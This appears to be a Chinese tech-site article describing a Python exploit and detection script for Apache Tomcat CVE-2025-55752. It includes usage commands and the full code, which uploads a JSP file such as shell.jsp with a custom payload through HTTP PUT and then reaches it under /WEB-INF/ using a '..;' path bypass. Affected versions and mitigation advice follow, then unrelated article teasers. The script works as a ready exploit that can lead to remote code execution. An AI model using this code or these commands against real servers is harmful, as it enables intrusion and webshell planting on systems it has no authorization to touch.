news 2026/4/23 11:43:55

CVE-2025-55752 Tomcat 路径绕过与漏洞检测工具详解

作者头像

张小明

前端开发工程师

1.2k 24
文章封面图
CVE-2025-55752 Tomcat 路径绕过与漏洞检测工具详解

CVE-2025-55752 Tomcat 路径绕过与漏洞检测工具

项目描述

本工具是一个专门用于检测和验证 Apache Tomcat 服务器是否存在 CVE-2025-55752 漏洞的安全脚本。该漏洞是由于重写阀门(Rewrite Valve)与规范化处理存在缺陷,导致攻击者可以绕过路径保护机制,访问或上传文件到受保护目录(如/WEB-INF/)。如果服务器启用了 HTTP PUT 方法,此漏洞可能导致远程代码执行(RCE)。

功能特性

  • 漏洞检测:自动化检测目标 Tomcat 服务器是否存在路径绕过漏洞
  • 文件上传测试:支持通过 HTTP PUT 方法上传测试文件到目标服务器
  • 路径绕过验证:利用..;序列绕过 URL 规范化检查,验证对受保护目录的访问
  • 灵活配置:支持自定义上传文件名和 payload 内容
  • SSL 选项:提供 SSL 证书验证的开关选项
  • 独立检查模式:支持仅进行路径绕过检查而不上传文件

安装指南

系统要求

  • Python 3.x
  • requests

安装步骤

  1. 克隆或下载脚本文件

    gitclone<repository-url>cdCVE-2025-55752
  2. 安装必要的 Python 依赖

    pipinstallrequests urllib3
  3. (可选)配置环境

    • 确保 Python 环境已正确配置
    • 如有代理需求,请配置相应的网络设置

使用说明

基本用法

1. 仅检查路径绕过漏洞
python3 CVE-2025-55752.py http://target:8080 --check

此命令仅测试目标服务器是否存在路径绕过漏洞,不进行文件上传。

2. 完整漏洞检测(包含上传和验证)
python3 CVE-2025-55752.py http://target:8080

此命令将尝试上传一个测试 JSP 文件,并验证是否能通过路径绕过访问该文件。

3. 自定义文件名和 payload
python3 CVE-2025-55752.py http://target:8080 --filename exploit.jsp --payload"<% out.println('PWNED'); %>"

使用自定义的文件名和 payload 内容进行测试。

4. 禁用 SSL 证书验证
python3 CVE-2025-55752.py https://target:8443 --no-ssl-verify

对于使用自签名证书的 HTTPS 目标,使用此选项禁用 SSL 验证。

参数说明

  • url:目标服务器的基础 URL(必需),需包含http://https://
  • --filename:上传的文件名,默认为shell.jsp
  • --payload:上传的文件内容,默认为<% out.println("Bypassed!"); %>
  • --check:仅检查路径绕过,不进行文件上传
  • --no-ssl-verify:禁用 SSL 证书验证

输出说明

  • [+]表示成功或发现漏洞
  • [-]表示失败或未发现漏洞
  • [!]表示发生错误

核心代码

1. 主程序入口与参数解析

defmain():parser=argparse.ArgumentParser(description="CVE-2025-55752 Exploit & Detection Tool")parser.add_argument("url",help="Target base URL (e.g., http://127.0.0.1:8080)")parser.add_argument("--filename",default="shell.jsp",help="Filename to upload (default: shell.jsp)")parser.add_argument("--payload",default="<% out.println(\"Bypassed!\"); %>",help="Payload content to upload")parser.add_argument("--check",action="store_true",help="Only check for path bypass without uploading")parser.add_argument("--no-ssl-verify",action="store_true",help="Disable SSL certificate verification")args=parser.parse_args()print(BANNER)verify_ssl=notargs.no_ssl_verifyifnotargs.url.startswith("http"):print("[-] Please include http:// or https:// in the URL")sys.exit(1)ifargs.check:check_access(args.url,f"/WEB-INF/{args.filename}",verify_ssl)else:uploaded_path=attempt_put_upload(args.url,args.filename,args.payload,verify_ssl)ifuploaded_path:check_access(args.url,f"/WEB-INF/{args.filename}",verify_ssl)if__name__=="__main__":main()

代码说明

  • 使用argparse模块解析命令行参数
  • 验证 URL 格式,确保包含协议头
  • 根据--check参数选择执行模式:仅检查或完整测试
  • 控制 SSL 验证开关

2. 文件上传函数

defattempt_put_upload(target,filename,payload,verify_ssl):upload_path=f"/{filename}"url=f"{target}{upload_path}"try:print(f"[+] Attempting to upload payload to:{url}")response=requests.put(url,data=payload,verify=verify_ssl,timeout=10)ifresponse.status_codein[200,201,204]:print(f"[+] Upload successful! Response code:{response.status_code}")returnupload_pathelse:print(f"[-] Upload failed! Response code:{response.status_code}")returnNoneexceptExceptionase:print(f"[!] Upload error:{e}")returnNone

代码说明

  • 使用 HTTP PUT 方法上传文件到目标服务器
  • 构造完整的上传 URL
  • 检查响应状态码,200/201/204 表示上传成功
  • 添加超时设置防止长时间等待
  • 异常处理确保程序稳定性

3. 路径绕过检查函数

defcheck_access(target,path,verify_ssl):bypass_path=f"/..;{path}"url=f"{target}{bypass_path}"try:print(f"[+] Checking access to:{url}")response=requests.get(url,verify=verify_ssl,timeout=10)ifresponse.status_code==200:print("[+] Bypass successful! Target may be vulnerable.")returnTrueelse:print(f"[-] Access denied or not vulnerable (HTTP{response.status_code}).")returnFalseexceptExceptionase:print(f"[!] Access check error:{e}")returnFalse

代码说明

  • 利用..;序列构造路径绕过 URL
  • 使用 HTTP GET 方法尝试访问受保护路径
  • 响应状态码 200 表示绕过成功,目标可能存在漏洞
  • 添加详细的日志输出,便于调试和分析

4. 初始化与安全设置

importrequestsimportargparseimporturllib3importsysfromurllib.parseimportquote urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)BANNER=""" CVE-2025-55752 Tomcat Path Bypass & Upload Detection Script ============================================================ This tool attempts to exploit a Rewrite Valve + normalization bypass to upload a test JSP file into a protected location (like /WEB-INF) and verify if the server is vulnerable to CVE-2025-55752. """

代码说明

  • 导入必要的 Python 模块
  • 禁用 SSL 警告,避免输出干扰
  • 定义工具横幅,显示工具名称和功能介绍
  • 使用urllib.parse.quote预备 URL 编码功能(虽未在代码中直接使用,但为扩展功能预留)

受影响版本

Tomcat 分支受影响版本
11.x11.0.0-M1 至 11.0.10
10.1.x10.1.0-M1 至 10.1.44
9.0.x9.0.0-M11 至 9.0.108
8.5.x8.5.6 至 8.5.100

建议:升级到已修复的版本(11.0.11、10.1.45 或 9.0.109 及以上版本)。

漏洞原理

CVE-2025-55752 是 Apache Tomcat 中的一个回归漏洞,当重写规则将查询参数映射到 URL 时,URL 规范化逻辑存在缺陷。攻击者可以利用特定的路径遍历序列(如..;)绕过内部保护机制,访问受限制的目录(如/WEB-INF//META-INF/)。如果服务器启用了 HTTP PUT 方法,攻击者可能上传恶意文件并实现远程代码执行。

安全建议

  1. 立即升级:将受影响的 Tomcat 版本升级到已修复的版本
  2. 禁用 HTTP PUT:除非必要,否则应禁用 HTTP PUT 方法
  3. 加强重写规则:对重写规则中的输入进行严格验证和清理
  4. 访问控制:加强受保护目录的访问控制
  5. 监控日志:监控服务器日志,检测可疑的路径遍历或文件上传请求FINISHED
    6HFtX5dABrKlqXeO5PUv/84SoIo+TE3firf/5vX8AZ6xNbDhtNlxQOQyXU+FbeFK
    更多精彩内容 请关注我的个人公众号 公众号(办公AI智能小助手)
    对网络安全、黑客技术感兴趣的朋友可以关注我的安全公众号(网络安全技术点滴分享)
版权声明: 本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若内容造成侵权/违法违规/事实不符,请联系邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!
网站建设 2026/4/23 10:08:26

别再瞎找了!千笔,继续教育论文写作神器

你是否曾为论文选题发愁&#xff0c;面对海量文献无从下手&#xff1f;是否在反复修改中感到力不从心&#xff0c;却始终无法达到导师的要求&#xff1f;论文写作不仅是学术能力的考验&#xff0c;更是时间与精力的拉锯战。对于继续教育的学生而言&#xff0c;工作与学习的双重…

作者头像 李华
网站建设 2026/4/23 11:22:56

一篇搞定全流程AI论文工具,千笔ai写作 VS speedai,研究生专属高效之选

随着人工智能技术的迅猛迭代与普及&#xff0c;AI辅助写作工具已逐步渗透到高校学术写作场景中&#xff0c;成为研究生完成毕业论文不可或缺的辅助手段。越来越多面临毕业论文压力的学生&#xff0c;开始依赖各类AI工具简化写作流程、提升创作效率。但与此同时&#xff0c;市场…

作者头像 李华
网站建设 2026/4/23 11:26:27

谷歌北大联手学术版Banana爆火,论文图表100%精确生成

论文作者表示&#xff0c;PaperBanana为全自动生成可用于出版的插图铺平了道路。效果好到刷屏的Nano Banana&#xff0c;学术特供版热乎出炉&#xff01;名字就是如此直观——PaperBanana&#xff0c;给你每天都在头痛的Paper用上Banana。&#xff08;试图押韵skr)而且这一次是…

作者头像 李华
网站建设 2026/4/23 11:25:54

‌体育热点嫁接:订单状态同步失败场景重现指南

当体育流量成为系统压力测试的“天然实验室”‌ 2026年1月4日&#xff0c;汉堡王因代言人田栩宁联名礼盒开售&#xff0c;瞬时访问量激增&#xff0c;小程序与APP全线崩溃&#xff0c;故障持续超60分钟。同一时期&#xff0c;爱奇艺体育在国足0-7负于日本的世界杯预选赛直播中…

作者头像 李华
网站建设 2026/4/20 19:41:15

零基础学大数据:大数据基础与前置技术夯实

零基础学大数据&#xff1a;大数据基础与前置技术夯实前言在数字化时代&#xff0c;数据已成为核心生产要素&#xff0c;大数据技术则是挖掘数据价值、驱动业务创新的关键。对于零基础学习者而言&#xff0c;入门大数据的核心是先夯实核心概念、前置技术栈和分布式系统底层原理…

作者头像 李华